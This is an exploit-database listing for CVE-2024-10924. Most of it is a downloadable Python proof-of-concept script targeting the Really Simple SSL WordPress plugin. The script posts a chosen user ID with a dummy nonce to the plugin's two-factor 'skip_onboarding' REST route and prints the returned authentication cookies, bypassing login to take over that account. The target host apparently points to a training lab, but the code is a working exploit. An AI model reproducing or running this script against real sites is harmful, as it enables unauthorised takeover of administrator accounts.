Exploit database

GH-43527533908019eda9f3e829b184e5ad

maleeshaudan/wordpress-cve-2024-10924--exploit

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2024-10924

16 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files2

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

Exploit.py

Python · 1,273 bytes
import requests
import urllib.parse
import sys

# Check if user_id is provided as an argument
if len(sys.argv) != 2:
    print("Usage: python exploit.py <user_id>")
    sys.exit(1)

# Get user_id from command-line arguments
user_id = sys.argv[1]

# Target endpoint and data
url = "http://vulnerablewp.thm:8080/?rest_route=/reallysimplessl/v1/two_fa/skip_onboarding"
data = {
    "user_id": int(user_id),  # User ID from the argument
    "login_nonce": "invalid_nonce",  # Arbitrary value
    "redirect_to": "/wp-admin/"  # Target redirection
}

# Sending the POST request
response = requests.post(url, json=data)

# Checking the response
if response.status_code == 200:
    print("Request successful!\n")
    
    # Extracting cookies
    cookies = response.cookies.get_dict()
    count = 1

    # Printing cookies in clean format
    for name, value in cookies.items():
        decoded_value = urllib.parse.unquote(value)  # Decode the URL-encoded cookie value
        print(f"Cookie {count}:")
        print(f"Cookie Name: {name}")
        print(f"Cookie Value: {decoded_value}\n")
        count += 1
else:
    print("Request failed!")
    print(f"Status Code: {response.status_code}")
    print(f"Response Text: {response.text}")